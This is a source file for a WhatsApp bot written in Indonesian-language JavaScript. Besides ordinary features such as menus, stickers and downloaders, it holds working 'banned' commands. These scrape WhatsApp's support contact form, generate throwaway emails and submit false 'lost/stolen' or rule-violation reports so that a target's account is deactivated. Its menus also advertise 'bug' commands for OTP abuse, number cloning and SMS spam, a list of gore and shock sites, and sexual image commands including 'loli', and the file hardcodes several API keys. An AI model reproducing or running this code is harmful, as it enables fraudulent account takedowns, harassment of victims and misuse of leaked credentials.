(() => 'https://telegra.ph/file/24fa902ead26340f3df2c.png')),
status = (await dark.fetchStatus(m.sender).catch(console.log) || {}).status?.s
lice(0, 30) || 'Not Detected'
await avatar.resize(460, 460)
await mask.resize(460, 460)
await avatar.mask(mask)
await welcome.resize(welcome.getWidth(), welcome.getHeight())
await welcome.print(font, 550, 180, 'Nama:')
await welcome.print(font, 650, 255, m.pushName.slice(0, 25))
await welcome.print(font, 550, 340, 'Bio:')
await welcome.print(font, 650, 415, status)
await welcome.print(font, 550, 500, 'Nomor:')
await welcome.print(font, 650, 575, PhoneNumber('+' + m.sender.split('@')
[0]).getNumber('international'))
return await welcome.composite(avatar, 50, 170).getBufferAsync('image/png')
}

async function tiktokdl(url) {


try {
const tokenn = await axios.get("https://downvideo.quora-wiki.com/tiktok-
video-downloader#url=" + url);
let a = cheerio.load(tokenn.data);
let token = a("#token").attr("value");
const param = {
url: url,
token: token,
};
const { data } = await
axios.request("https://downvideo.quora-wiki.com/system/action.php", {
method: "post",
data: new URLSearchParams(Object.entries(param)),
headers: {
"content-type": "application/x-www-form-urlencoded;
charset=UTF-8",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
"referer": "https://downvideo.quora-wiki.com/tiktok-video-
downloader",
},
}
);
return {
status: 200,
title: data.title,
thumbnail: "https:" + data.thumbnail,
duration: data.duration,
media: data.medias,
};
} catch (e) {
return e
}
}

async function obfus(query) {


return new Promise((resolve, reject) => {
try {
const obfuscationResult = jsobfus.obfuscate(query,
{
compact: false,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 1,
numbersToExpressions: true,
simplify: true,
stringArrayShuffle: true,
splitStrings: true,
stringArrayThreshold: 1
}
);
const result = {
status: 200,
author: `dark`,
result: obfuscationResult.getObfuscatedCode()
}
resolve(result)
} catch (e) {
reject(e)
}
})
}

if (autosticker) {
if (/image/.test(mime) && !/webp/.test(mime)) {
let media = await quoted.download()
let encmedia = await dark.sendImageAsSticker(m.chat, media, m, { packname:
global.packname, author: global.author })
await fs.unlinkSync(encmedia)
} else if (/video/.test(mime) && !/webp/.test(mime)) {
if ((quoted.msg || quoted).seconds > 11) return reply('Maksimal 10 detik!')
let media = await quoted.download()
let encmedia = await dark.sendVideoAsSticker(m.chat, media, m, { packname:
global.packname, author: global.author })
await fs.unlinkSync(encmedia)
}
}

if (m.isGroup && !m.key.fromMe && !itsMedark && antilink) {


if (!isBotAdmins) return
if (budy.match(`chat.whatsapp.com`)) {
dark.sendMessage(m.chat, {text: `*Antilink Group Terdeteksi*\n\nKamu Akan
Dikeluarkan Dari Group ${groupMetadata.subject}`}, {quoted:m})
dark.groupParticipantsUpdate(m.chat, [sender], 'remove')
}
}

if (m.isGroup && !m.key.fromMe && !itsMedark && antiwame) {


if (!isBotAdmins) return
if (budy.match(`wa.me`)) {
dark.sendMessage(m.chat, {text: `*Antilink Group Terdeteksi*\n\nKamu Akan
Dikeluarkan Dari Group ${groupMetadata.subject}`}, {quoted:m})
dark.groupParticipantsUpdate(m.chat, [sender], 'remove')
}
}

if (!isCmd && m.isGroup && isAlreadyResponList(m.chat, chath, db_respon_list)) {


var get_data_respon = getDataResponList(m.chat, chath, db_respon_list)
if (get_data_respon.isImage === false) {
dark.sendMessage(m.chat, { text: sendResponList(m.chat, chath, db_respon_list) }, {
quoted: m })
} else {
buff = await getBuffer(get_data_respon.image_url)
dark.sendImage(m.chat, buff, `${get_data_respon.response}`, m)
}
}

const more = String.fromCharCode(8206)


const readMore = more.repeat(4001)

const nebal = (angka) => {


return Math.floor(angka)
}

if (!isCmd && isAlreadydarkList(chath, dblist)) {


var getkaydata = getDatadarkList(chath, dblist)
if (getkaydata.isImage === false) {
dark.sendMessage(m.chat, { text: senddarkList(chath, dblist) }, { quoted: m })
} else {
buff = await getBuffer(getkaydata.image_url)
dark.sendImage(m.chat, buff, `${getkaydata.response}`, m)
}
}
switch (command) {
case 'allmenu':{
//let thumbnail = fs.readFileSync("./tes.jpg")
//let buttons = [
//{buttonId: `${prefix}owner`, buttonText: {displayText: 'Owner'}, type: 1},
//{buttonId: `${prefix}sc`, buttonText: {displayText: 'Script'}, type: 1},
//{buttonId: `${prefix}exploit`, buttonText: {displayText: 'Exploit'}, type: 1}
//]
//let buttonMessage = {
let menunya =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Random Image* 」
│ 友 ${prefix}ppcp
│ 友 ${prefix}loli
│ 友 ${prefix}waifu
│ 友 ${prefix}neko
│ 友 ${prefix}milf
│ 友 ${prefix}sfw
│ 友 ${prefix}nsfw
│ 友 ${prefix}ahegao
│ 友 ${prefix}ass
│ 友 ${prefix}bdsm
│ 友 ${prefix}blowjob
│ 友 ${prefix}cuckold
│ 友 ${prefix}cum
│ 友 ${prefix}eba
│ 友 ${prefix}ero
│ 友 ${prefix}femdom
│ 友 ${prefix}foot
│ 友 ${prefix}gangbang
│ 友 ${prefix}glasses
│ 友 ${prefix}jahy
│ 友 ${prefix}masturbation
│ 友 ${prefix}neko-hentai
│ 友 ${prefix}neko-hentai2
│ 友 ${prefix}orgy
│ 友 ${prefix}panties
│ 友 ${prefix}pussy
│ 友 ${prefix}tentacles
│ 友 ${prefix}thights
│ 友 ${prefix}yuri
│ 友 ${prefix}zettai
│ 友 ${prefix}gifblowjob
│ 友 ${prefix}gifhentai
│ 友 ${prefix}gifs

│─「 *Dark Web Links* 」
│ 友 ${prefix}list-url

│─「 *Bug Wangsaff* 」
│ 友 ${prefix}turu (ID)
│ 友 ${prefix}logout (ID)
│ 友 ${prefix}kenon (ID)
│ 友 ${prefix}kenon2 (ID)
│ 友 ${prefix}banwa (ID)
│ 友 ${prefix}banwa2 (CA)
│ 友 ${prefix}unbanwa (CA)
│ 友 ${prefix}unbanwa2 (ID)
│ 友 ${prefix}clone-number (CA)
│ 友 ${prefix}get-otp (CA or ID)
│ 友 ${prefix}verify-otp (CA or ID)
│ 友 ${prefix}login
│ 友 ${prefix}out
│ 友 ${prefix}resend-otp
│ 友 ${prefix}set-pin
│ 友 ${prefix}reset-pin
│ 友 ${prefix}set-email
│ 友 ${prefix}reset-email

│─「 *Bug Wangsaff By Darkness* 」
│ 友 ${prefix}banned (ID)
│ 友 ${prefix}bannedv2 (ID)
│ 友 ${prefix}bannedv3 (ID)
│ 友 ${prefix}unbanned (ID)
│ 友 ${prefix}unbannedv2 (ID)
│ 友 ${prefix}unbannedv3 (ID)
│ 友 ${prefix}unbannedv4 (ID)
│ 友 ${prefix}unbannedv5 (ID)

│─「 *Group* 」
│ 友 ${prefix}gcopen
│ 友 ${prefix}gcclose
│ 友 ${prefix}afk
│ 友 ${prefix}getpp
│ 友 ${prefix}setppgc
│ 友 ${prefix}setppgc2
│ 友 ${prefix}leave
│ 友 ${prefix}revoke
│ 友 ${prefix}add
│ 友 ${prefix}kick
│ 友 ${prefix}liston
│ 友 ${prefix}listpc
│ 友 ${prefix}listgc
│ 友 ${prefix}setdesk
│ 友 ${prefix}hidetag
│ 友 ${prefix}tagall
│ 友 ${prefix}setnamegc
│ 友 ${prefix}antilink

│─「 *Owner* 」
│ 友 ${prefix}ban add/del
│ 友 ${prefix}listban
│ 友 ${prefix}bcgc
│ 友 ${prefix}getcase
│ 友 ${prefix}addprem
│ 友 ${prefix}delprem
│ 友 ${prefix}listprem
│ 友 ${prefix}setppbot
│ 友 ${prefix}setppbot2
│ 友 ${prefix}setnamebot
│ 友 ${prefix}setbiobot
│ 友 ${prefix}pushkontak
│ 友 ${prefix}join
│ 友 ${prefix}jadibot
│ 友 ${prefix}listjadibot
│ 友 ${prefix}restart

│─「 *Tools* 」
│ 友 ${prefix}obfus
│ 友 ${prefix}deobfus
│ 友 ${prefix}call
│ 友 ${prefix}spamsms
│ 友 ${prefix}lookup
│ 友 ${prefix}ip
│ 友 ${prefix}myip
│ 友 ${prefix}proxy
│ 友 ${prefix}ai
│ 友 ${prefix}qc
│ 友 ${prefix}simi
│ 友 ${prefix}simi2
│ 友 ${prefix}ghstalk
│ 友 ${prefix}img
│ 友 ${prefix}menfess
│ 友 ${prefix}confess
│ 友 ${prefix}autosticker
│ 友 ${prefix}ss
│ 友 ${prefix}jadianime
│ 友 ${prefix}jadianime2
│ 友 ${prefix}googles
│ 友 ${prefix}manga
│ 友 ${prefix}del
│ 友 ${prefix}delchat
│ 友 ${prefix}delsampah
│ 友 ${prefix}public
│ 友 ${prefix}self
│ 友 ${prefix}gitclone
│ 友 ${prefix}>

│─「 *Anonymous* 」
│ 友 ${prefix}start
│ 友 ${prefix}stop
│ 友 ${prefix}next
│ 友 ${prefix}keluar

│─「 *Convert* 」
│ 友 ${prefix}sticker
│ 友 ${prefix}swm
│ 友 ${prefix}removebg
│ 友 ${prefix}tts
│ 友 ${prefix}tovn
│ 友 ${prefix}ytmp3
│ 友 ${prefix}ytmp4
│ 友 ${prefix}tiktok
│ 友 ${prefix}tiktokmp3
│ 友 ${prefix}ttp
│ 友 ${prefix}attp
│ 友 ${prefix}smeme
│ 友 ${prefix}emojimix
│ 友 ${prefix}tourl
│ 友 ${prefix}toaudio
│ 友 ${prefix}tomp3
│ 友 ${prefix}toimg

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: menunya
},
{
quoted: m
})
}
break
case 'menu': {
let listmenunya =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 - *LIST MENU* - 」
│ 友 ${prefix}random-menu
│ 友 ${prefix}bug-menu
│ 友 ${prefix}group-menu
│ 友 ${prefix}owner-menu
│ 友 ${prefix}tools-menu
│ 友 ${prefix}anonymous-menu
│ 友 ${prefix}convert-menu

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: listmenunya
},
{
quoted: m
})
}
break
case 'random-menu': case 'randommenu': {
let randommenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Random Image* 」
│ 友 ${prefix}ppcp
│ 友 ${prefix}loli
│ 友 ${prefix}waifu
│ 友 ${prefix}neko
│ 友 ${prefix}milf
│ 友 ${prefix}sfw
│ 友 ${prefix}nsfw
│ 友 ${prefix}ahegao
│ 友 ${prefix}ass
│ 友 ${prefix}bdsm
│ 友 ${prefix}blowjob
│ 友 ${prefix}cuckold
│ 友 ${prefix}cum
│ 友 ${prefix}eba
│ 友 ${prefix}ero
│ 友 ${prefix}femdom
│ 友 ${prefix}foot
│ 友 ${prefix}gangbang
│ 友 ${prefix}glasses
│ 友 ${prefix}jahy
│ 友 ${prefix}masturbation
│ 友 ${prefix}neko-hentai
│ 友 ${prefix}neko-hentai2
│ 友 ${prefix}orgy
│ 友 ${prefix}panties
│ 友 ${prefix}pussy
│ 友 ${prefix}tentacles
│ 友 ${prefix}thights
│ 友 ${prefix}yuri
│ 友 ${prefix}zettai
│ 友 ${prefix}gifblowjob
│ 友 ${prefix}gifhentai
│ 友 ${prefix}gifs

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: randommenu
},
{
quoted: m
})
}
break
case 'bug-menu': case 'bugmenu':{
let bugmenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Bug Wangsaff* 」
│ 友 ${prefix}turu (ID)
│ 友 ${prefix}logout (ID)
│ 友 ${prefix}kenon (ID)
│ 友 ${prefix}kenon2 (ID)
│ 友 ${prefix}banwa (ID)
│ 友 ${prefix}banwa2 (CA)
│ 友 ${prefix}unbanwa (CA)
│ 友 ${prefix}unbanwa2 (ID)
│ 友 ${prefix}clone-number (CA)
│ 友 ${prefix}get-otp (CA or ID)
│ 友 ${prefix}verify-otp (CA or ID)
│ 友 ${prefix}login
│ 友 ${prefix}out
│ 友 ${prefix}resend-otp
│ 友 ${prefix}set-pin
│ 友 ${prefix}reset-pin
│ 友 ${prefix}set-email
│ 友 ${prefix}reset-email

│─「 *Bug Wangsaff By Darkness* 」
│ 友 ${prefix}banned (ID)
│ 友 ${prefix}bannedv2 (ID)
│ 友 ${prefix}bannedv3 (ID)
│ 友 ${prefix}unbanned (ID)
│ 友 ${prefix}unbannedv2 (ID)
│ 友 ${prefix}unbannedv3 (ID)
│ 友 ${prefix}unbannedv4 (ID)
│ 友 ${prefix}unbannedv5 (ID)

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: bugmenu
},
{
quoted: m
})
}
break
case 'group-menu': case 'groupmenu':{
let groupmenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Group* 」
│ 友 ${prefix}gcopen
│ 友 ${prefix}gcclose
│ 友 ${prefix}afk
│ 友 ${prefix}getpp
│ 友 ${prefix}setppgc
│ 友 ${prefix}setppgc2
│ 友 ${prefix}leave
│ 友 ${prefix}revoke
│ 友 ${prefix}add
│ 友 ${prefix}kick
│ 友 ${prefix}liston
│ 友 ${prefix}listpc
│ 友 ${prefix}listgc
│ 友 ${prefix}setdesk
│ 友 ${prefix}hidetag
│ 友 ${prefix}tagall
│ 友 ${prefix}setnamegc
│ 友 ${prefix}antilink

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: groupmenu
},
{
quoted: m
})
}
break
case 'owner-menu': case 'ownermenu':{
let ownermenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Owner* 」
│ 友 ${prefix}ban add/del
│ 友 ${prefix}listban
│ 友 ${prefix}bcgc
│ 友 ${prefix}getcase
│ 友 ${prefix}addprem
│ 友 ${prefix}delprem
│ 友 ${prefix}listprem
│ 友 ${prefix}setppbot
│ 友 ${prefix}setppbot2
│ 友 ${prefix}setnamebot
│ 友 ${prefix}setbiobot
│ 友 ${prefix}pushkontak
│ 友 ${prefix}join
│ 友 ${prefix}jadibot
│ 友 ${prefix}listjadibot
│ 友 ${prefix}restart

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: ownermenu
},
{
quoted: m
})
}
break
case 'tools-menu': case 'toolsmenu':{
let toolsmenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Tools* 」
│ 友 ${prefix}obfus
│ 友 ${prefix}deobfus
│ 友 ${prefix}call
│ 友 ${prefix}spamsms
│ 友 ${prefix}lookup
│ 友 ${prefix}ip
│ 友 ${prefix}myip
│ 友 ${prefix}proxy
│ 友 ${prefix}ai
│ 友 ${prefix}qc
│ 友 ${prefix}simi
│ 友 ${prefix}simi2
│ 友 ${prefix}ghstalk
│ 友 ${prefix}img
│ 友 ${prefix}menfess
│ 友 ${prefix}confess
│ 友 ${prefix}autosticker
│ 友 ${prefix}ss
│ 友 ${prefix}jadianime
│ 友 ${prefix}jadianime2
│ 友 ${prefix}googles
│ 友 ${prefix}manga
│ 友 ${prefix}del
│ 友 ${prefix}delchat
│ 友 ${prefix}delsampah
│ 友 ${prefix}public
│ 友 ${prefix}self
│ 友 ${prefix}gitclone
│ 友 ${prefix}>

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: toolsmenu
},
{
quoted: m
})
}
break
case 'anonymous-menu': case 'anonymousmenu':{
let anonymousmenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Anonymous* 」
│ 友 ${prefix}start
│ 友 ${prefix}stop
│ 友 ${prefix}next
│ 友 ${prefix}keluar

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: anonymousmenu
},
{
quoted: m
})
}
break
case 'convert-menu': case 'convermenu':{
let convertmenu =`
╭「 - *INFO USER* - 」

│友 *Nomor* : ${sender.split('@')[0]}
│友 *Premium : ${isPrem ? 'Yes' : 'No'}*
│友 *Admin : ${isAdmins ? 'Yes' : 'No'}*
│友 *Register : ${isRegister ? 'Yes' : 'No'}*
│友 *Time : ${time2}*
│友 *Date : ${calender}*
│友 *Library : Darkleys*
│友 *Language : Javascript*
│友 *Running On : Replit*
│${readMore + more}
│─「 *Convert* 」
│ 友 ${prefix}sticker
│ 友 ${prefix}swm
│ 友 ${prefix}removebg
│ 友 ${prefix}tts
│ 友 ${prefix}tovn
│ 友 ${prefix}ytmp3
│ 友 ${prefix}ytmp4
│ 友 ${prefix}tiktok
│ 友 ${prefix}tiktokmp3
│ 友 ${prefix}ttp
│ 友 ${prefix}attp
│ 友 ${prefix}smeme
│ 友 ${prefix}emojimix
│ 友 ${prefix}tourl
│ 友 ${prefix}toaudio
│ 友 ${prefix}tomp3
│ 友 ${prefix}toimg

│─「 *Thanks To* 」
│ 友 All Developer Bot
│ 友 All Module Providers
│ 友 All Bot Users

╰「 - *Powered By Wangsaff.xyz* - 」`
dark.sendMessage(m.chat, {
image: fs.readFileSync('./tes.jpg'),
caption: convertmenu
},
{
quoted: m
})
}
break
case 'myip': {
try {
fetch(`https://api.myip.com`)
.then(response => response.text())
.then(data => {
m.reply(`*RESULT:*\n\n${data}`);
})
} catch (err) {
reply(`Error`)
}
}
break
case 'proxy': {
try {
fetch(`https://proxy11.com/api/proxy.json?
key=NTg2NQ.ZNvoOA.KBdWtMc1J3hXw8rDsuu0XzZbRWY`)
.then(response => response.text())
.then(data => {
m.reply(`*RESULT:*\n\n${data}`);
})
} catch (err) {
reply(`Error`)
}
}
break
case 'ip': {
try {
fetch(`https://api.ip2location.io/?key=67AF1A11E6EAFC932F49E5175160A7FA&ip=$
{text}`)
.then(response => response.text())
.then(data => {
m.reply(`*RESULT:*\n\n${data}`);
})
} catch (err) {
reply(`Error`)
}
}
break
case 'lookup': {
if (!text) throw reply(`Masukkan Domain/Sub Domain!\n\n*Contoh:* botcahx.live`)

if (text.includes('https://') || text.includes('http://')) throw reply(`Tolong


masukkan domain/sub domain secara lengkap. Contoh: botcahx.live`)
try {
// fetch pertama
//const api_key = 'E4/gdcfciJHSQdy4+9+Ryw==JHciNFemGqOVIbyv';
const api_key = 'og67XKKtE6MwvS5+EgnSmg==KsjqiR3YvskhS1Vo';
const res1 = await fetch(`https://api.api-ninjas.com/v1/dnslookup?domain=$
{text}`, {
headers: { 'X-Api-Key': api_key },
contentType: 'application/json'
})
.then(response => response.text())
.catch(error => {
return fetch(`https://api.hackertarget.com/dnslookup/?q=${text}`)
.then(response => response.text())
.then(data => {
m.reply(`*Ini Adalah Hasil Dns Lookup Untuk ${text}:*\n${data}`);
})
.catch(error => {
m.reply('*Tidak dapat memproses permintaan DNS Lookup*');
});
});
m.reply(`*Ini Adalah Hasil Dns Lookup Untuk ${text}:*\n${res1}`);

} catch (error) {
m.reply('*Invalid data!*');
}
};
break
case 'DWL': case 'dwl': case 'list-url':{
reply(`1. https://kekma.net
2. https://screamer.wiki
3. https://pppppppppp.xyz
4. https://1man1jar.org
5. https://goreforum.com
6. https://best-g0re.tumblr.com`)
}
break
case 'banned': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Verloren/gestohlen: Bitte deaktivieren Sie mein
Konto")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
dark.sendMessage(from, { text: util.format(res.data)}, {quoted:m})
}
break
case 'bannedv2': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Perdido/roubado: desative minha conta")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`##- WhatsApp Support -##

Hai,

Terima kasih atas pesan Anda.

Kami telah menonaktifkan akun WhatsApp Anda. Ini berarti akun Anda telah di
keluarkan maka untuk sementara dinonaktifkan dan akan dihapus secara otomatis dalam
30 hari jika Anda tidak mendaftarkan ulang akun tersebut. Harap dicatat: Tim
Dukungan Pelanggan WhatsApp tidak dapat menghapus akun Anda secara manual.

Selama periode penonaktifan:

• Kontak Anda di WhatsApp mungkin masih melihat nama dan gambar profil Anda.
• Setiap pesan yang mungkin dikirim oleh kontak Anda ke

akun akan tetap dalam status tertunda hingga 30 hari.

Jika Anda ingin mendapatkan kembali akun Anda, daftarkan ulang akun Anda sebagai

secepatnya. Daftar ulang akun Anda dengan memasukkan 6 digit

kode yang Anda terima melalui SMS atau panggilan telepon. Jika Anda mendaftar
ulang

pulihkan riwayat obrolan Anda di: Android | iPhone.

file, cadangan, atau riwayat panggilan dari akun yang dihapus.

akun sebelum dihapus, Anda akan tetap berada di semua obrolan grup. Anda akan
memiliki opsi untuk memulihkan data Anda. Pelajari caranya Jika Anda tidak
mendaftarkan ulang akun Anda, akun tersebut mungkin akan dihapus dan proses ini
tidak dapat dibatalkan. Sayangnya, WhatsApp tidak dapat membantu Anda memulihkan
obrolan, dokumen, media
Catatan: Jika perangkat Anda hilang atau dicuri, sebaiknya hubungi penyedia
seluler Anda untuk memblokir kartu SIM Anda sesegera mungkin. Memblokir kartu SIM
Anda mencegah orang lain mendaftar dan mengakses akun yang terkait dengan kartu
SIM.

Sumber daya terkait:

⚫ Untuk informasi lebih lanjut tentang penonaktifan akun pada ponsel yang hilang
dan dicuri, silakan baca artikel ini.

⚫ Pelajari tentang akun yang dicuri di artikel ini.

Jika Anda memiliki pertanyaan atau masalah lain, jangan ragu untuk menghubungi
kami. Kami akan dengan senang hati membantu!`)
} else if (payload.includes(`"payload":false`)) {
reply(`##- WhatsApp Support -##

Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui
email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
}
break
case 'bannedv3': {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "+")
form.append("phone_number", `+${targetnya}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `I noticed that a user was using modified whatsapp, so
i ask support to ban this account for violating terms of service, and the account
uses a WhatsApp bot that can send malicious messages so that other users' WhatsApp
cannot work
Number : +${targetnya}`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
